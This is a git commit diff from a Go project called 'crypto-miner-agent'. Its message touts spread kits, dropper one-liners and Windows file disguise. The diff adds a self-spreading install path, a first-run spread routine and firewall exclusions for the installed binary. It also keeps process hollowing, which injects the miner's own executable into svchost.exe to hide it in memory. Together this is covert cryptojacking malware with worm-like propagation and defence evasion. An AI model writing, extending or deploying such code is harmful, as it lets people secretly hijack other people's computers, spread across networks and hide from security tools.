Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/client"
|
||||
@@ -25,6 +26,17 @@ func main() {
|
||||
log.Fatal("server URL is required in built-in configuration")
|
||||
}
|
||||
|
||||
if deploy.WantsSpreadInstall() {
|
||||
installed, err := deploy.SpreadInstall(cfg)
|
||||
if err != nil {
|
||||
deploy.LogSpreadError("fatal", err)
|
||||
log.Fatalf("[spread-install] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
installed, err := deploy.InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
@@ -57,21 +69,22 @@ func main() {
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
|
||||
if cfg.FirewallExclusion {
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
||||
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
|
||||
deploy.EnsureFirewallExclusion(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
// Trigger Process Hollowing Memory Injection if enabled
|
||||
if cfg.ProcessHollowing {
|
||||
// Simple check: if we aren't already running as svchost, hollow it!
|
||||
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
|
||||
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
||||
exePath, _ := os.Executable()
|
||||
payload, err := os.ReadFile(exePath)
|
||||
@@ -79,7 +92,7 @@ func main() {
|
||||
log.Printf("[hollowing] Injecting into svchost.exe...")
|
||||
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
||||
if err == nil {
|
||||
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user